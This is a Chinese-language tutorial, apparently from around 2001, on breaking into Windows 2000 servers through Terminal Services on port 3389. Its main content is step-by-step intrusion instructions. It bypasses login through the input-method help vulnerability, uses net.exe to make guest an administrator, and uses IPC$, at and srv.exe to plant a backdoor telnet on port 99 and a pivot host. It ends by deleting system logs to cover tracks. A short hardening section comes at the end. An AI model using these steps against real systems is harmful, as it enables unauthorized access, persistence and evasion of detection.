win2k的3389端口攻擊

WIN2000中文簡體版存在的輸入法漏洞，可以使本地用戶繞過身分驗證機制進入系統內部。經實驗，WIN2000中文簡體版的終端服務，在遠程操作時仍然存在這一漏洞，而且危害更大。 
WIN2000的終端服務功能，能使系統管理員對WIN2000進行遠程操作，采用的是圖形界面，能使用戶在遠程控制計算機時功能與在本地使用一樣，其默認端口為3389，用戶只要裝了WIN2000的客戶端連接管理器就能與開啟了該服務的計算機相聯。因此這一漏洞使終端服務成為WIN2000的合法木馬。 
工具：客戶端連接管理器，下載地址：自己找吧，天天有好幾種呢。 
入侵步驟： 
一，獲得管理員賬號。 
我們先對一個網段進行掃描，掃描端口設為3389，運行客戶端連接管理器，將掃描到的任一地址加入到，設置好客戶端連接管理器，然後與服務器連結。幾秒鐘後，屏幕上顯示出WIN2000登錄界面（如果發現是英文或繁體中文版，放棄，另換一個地址），用CTRL+SHIFT快速切換輸入法，切換至全拼，這時在登錄界面左下角將出現輸入法狀態條（如果沒有出現，請耐心等待，因為對方的數據流傳輸還有一個過程）。用右鍵點擊狀態條上的微軟徽標，彈出“幫助”（如果發現“幫助”呈灰色，放棄，因為對方很可能發現並已經補上了這個漏洞），打開“幫助”一欄中“操作指南”，在最上面的任務欄點擊右鍵，會彈出一個菜單，打開“跳至URL”。此時將出現WIN2000的系統安裝路徑和要求我們填入的路徑的空白欄。比如，該系統安裝在Ｃ盤上，就在空白欄中填入"c:\winnt\system32"。然後按“確定”，於是我們就成功地繞過了身份驗證，進入了系統的SYSTEM32目錄。 
現在我們要獲得一個賬號，成為系統的合法用戶。在該目錄下找到"net.exe"，為"net.exe"創建一個快捷方式，右鍵點擊該快捷方式，在“屬性”－>“目標”－>c:\winnt\system32\net.exe後面空一格，填入"user guest /active :yes"點“確定”。這一步驟目的在於用net.exe激活被禁止使用的guest賬戶，當然也可以利用"user 用戶名　密碼／add"，創建一個新賬號，但容易引起網管懷疑。運行該快捷方式，此時你不會看到運行狀態，但guest用戶已被激活。然後又修改該快捷方式，填入"user guest 密碼"，運行，於是guest便有了密碼。最後，再次修改，填入“localgroup administrators guest /add，將guest變成系統管理員。 
注意事項：１、在這過程中，如果對方管理員正在使用終端服務管理器，他將看到你所打開的進程id，你的ip和機器名，甚至能夠給你發送消息。 
２、終端服務器在驗證你的身份的時候只留給了你一分鐘的時間，在這一分鐘內如果你不能完成上述操作，你只能再連結。 
３、你所看到的圖像與操作會有所延遲，這受網速的影響。 

二，創建跳板。 
再次登錄終端用務器，以"guest"身份進入，此時guest已是系統管理員，已具備一切可執行權。打開“控制面板”，進入“網絡和拔號連接”，在“本地連接”或“拔號連接”中查看屬性，看對方是否選擇“Microsoft 網絡的文件和打印機共享”，如果沒有，就打上勾。對方如果使用的是拔號上網，下次拔號網絡共享才會打開。 
退出對方系統，在本地機命令提示符下，輸入 
net use \\IP Address\IPC$ ["password"] /user:"guset"，通過IPC的遠程登陸就成功了。 
登陸成功之後先復制一個Telnet的程序上去（小榕流光安裝目錄下的Tools目錄裡的Srv.exe,另外，還有ntml.xex，一會要用），這個程序是在對方上面開一個Telnet服務，端口是99。 
copy c:\hack\srv.exe \\***.***.***.***\admin$ 
然後利用定時服務啟動它，先了解對方的時間： 
net time \\***.***.***.*** 
顯示： 
\\***.***.***.*** 的當前時間是 2001/1/8 下午 08:55 
命令成功完成。 
然後啟動srv.exe: 
at \\***.***.***.*** 09:00 srv.exe　 
顯示： 
新加了一項作業，其作業 ID = 0 
過幾分鐘後，telnet ***.***.***.*** 99 
這裡不需要驗證身份，直接登錄，顯示： 
c:\winnt:\system32> 
我們就成功登陸上去了。然後又在本地打開命令提示符，另開一個窗口，輸入： 
copy c:\hack\ntlm.exe \\211.21.193.202\admin$ 
把事先存放在hack目錄裡的ntlm.exe拷過去。然後又回到剛才的telnet窗口，運行ntlm.exe 
C:\WINNT\system32>ntlm 
顯示： 
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved. 
Done! 
C:\WINNT\system32> 
C:\WINNT\system32> 
好，現在我們來啟動WIN2000本身的telnet，首先終止srv.exe的telnet服務： 
net stop telnet　系統告訴你並沒有啟動telnet，不理它，繼續： 
net start telnet　這次真的啟動了telnet，我們可以在另開的命令提示符窗口telnet到對方的 
23端口，驗證身份，輸入我們的guest賬號和密碼，它就真正成為我們的跳板了。我們可以利用它到其它的主機去。 
三、掃除腳印： 
刪除為net.exe 創建的快捷方式，刪除winnt\system32\logfiles下邊的日志文件 

補漏方法： 
1、打補丁 
2、刪除輸入法幫助文件 
3、停止終端服務。
win 2000 sever 3389安全問題解決辦法

正確的做法：
在windowsupdate.microsoft.com把所有關鍵更新全部更新，然後注意管理員密碼要在8位以上數字字母混合，最好有符號！（這點非常重要，符號就是!%#$&這些啦。），然後要做的是（前提你這台機器不需要在局域網裡被別的機器訪問）創建一個run.bat文件，裡面打上如下內容：
net share ipc$ /del
net share admin$ /del
net share c$ /del
net share d$ /del
。。。。。有幾個分區寫幾個，保存到啟動菜單裡。
然後呢禁用runas service,remote registry service,task sheduler，dns,dhcp等服務最好也設置成手動，qouta，daytime等服務一定關掉以免被DOS，在iis裡刪掉.ida,.idq,.printer的映射，用ipsec過濾掉外網訪問135、139、445、3389端口
還有要注意如果裝了mssql要把sa默認空密碼改掉，mysql的root密碼改掉
還有如果你的網站有上傳附件的功能請注意過濾擴展名！最好不要用phpbb論壇，最近發現了漏洞。